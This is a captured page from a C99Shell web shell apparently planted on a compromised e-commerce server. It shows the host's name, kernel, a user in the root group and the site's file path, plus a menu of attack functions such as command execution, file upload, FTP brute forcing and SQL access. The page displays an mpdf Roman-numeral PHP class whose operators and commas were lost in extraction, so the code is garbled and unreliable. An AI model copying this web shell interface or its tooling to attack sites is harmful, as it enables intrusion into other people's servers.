!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/src/Conversion/   drwxr-xr-x
Free 25.2 GB of 117.98 GB (21.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DecToRoman.php (2.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mpdf\Conversion;

/**
 * @link https://github.com/JeroenDeDauw/RomanNumbers
 * @license GNU GPL v2+
 */
class DecToRoman
{

    private 
$symbolMap;

    public function 
__construct(array $symbolMap = [])
    {
        if (
$symbolMap !== []) {
            
$this->symbolMap $symbolMap;
        } else {
            
$this->symbolMap = [['I''V'], ['X''L'], ['C''D'], ['M']];
        }
    }

    public function 
convert($number$toUpper true)
    {
        
$this->ensureNumberIsAnInteger($number);
        
$this->ensureNumberIsWithinBounds($number);

        return 
$this->constructRomanString($number$toUpper);
    }

    private function 
ensureNumberIsAnInteger($number)
    {
        if (!
is_int($number)) {
            throw new 
\InvalidArgumentException('Can only translate integers to roman');
        }
    }

    private function 
ensureNumberIsWithinBounds($number)
    {
        if (
$number 1) {
            throw new 
\OutOfRangeException('Numbers under one cannot be translated to roman');
        }

        if (
$number $this->getUpperBound()) {
            throw new 
\OutOfBoundsException('The provided number is to big to be fully translated to roman');
        }
    }

    public function 
getUpperBound()
    {
        
$symbolGroupCount count($this->symbolMap);
        
$valueOfOne 10 ** ($symbolGroupCount 1);

        
$hasFiveSymbol array_key_exists(1$this->symbolMap[$symbolGroupCount 1]);

        return 
$valueOfOne * ($hasFiveSymbol 4) - 1;
    }

    private function 
constructRomanString($number$toUpper)
    {
        
$romanNumber '';

        
$symbolMapCount count($this->symbolMap);
        for (
$i 0$i $symbolMapCount$i++) {
            
$divisor 10 ** ($i 1);
            
$remainder $number $divisor;
            
$digit $remainder / (10 ** $i);

            
$number -= $remainder;
            
$romanNumber $this->formatDigit($digit$i) . $romanNumber;

            if (
$number === 0) {
                break;
            }
        }

        if (!
$toUpper) {
            
$romanNumber strtolower($romanNumber);
        }

        return 
$romanNumber;
    }

    private function 
formatDigit($digit$orderOfMagnitude)
    {
        if (
$digit === 0) {
            return 
'';
        }

        if (
$digit === || $digit === 9) {
            return 
$this->formatFourOrNine($digit$orderOfMagnitude);
        }

        
$romanNumber '';

        if (
$digit >= 5) {
            
$digit -= 5;
            
$romanNumber .= $this->getFiveSymbol($orderOfMagnitude);
        }

        
$romanNumber .= $this->formatOneToThree($orderOfMagnitude$digit);

        return 
$romanNumber;
    }

    private function 
formatFourOrNine($digit$orderOfMagnitude)
    {
        
$firstSymbol $this->getOneSymbol($orderOfMagnitude);
        
$secondSymbol $digit === 4
            
$this->getFiveSymbol($orderOfMagnitude)
            : 
$this->getTenSymbol($orderOfMagnitude);

        return 
$firstSymbol $secondSymbol;
    }

    private function 
formatOneToThree($orderOfMagnitude$digit)
    {
        return 
str_repeat($this->getOneSymbol($orderOfMagnitude), $digit);
    }

    private function 
getOneSymbol($orderOfMagnitude)
    {
        return 
$this->symbolMap[$orderOfMagnitude][0];
    }

    private function 
getFiveSymbol($orderOfMagnitude)
    {
        return 
$this->symbolMap[$orderOfMagnitude][1];
    }

    private function 
getTenSymbol($orderOfMagnitude)
    {
        return 
$this->symbolMap[$orderOfMagnitude 1][0];
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--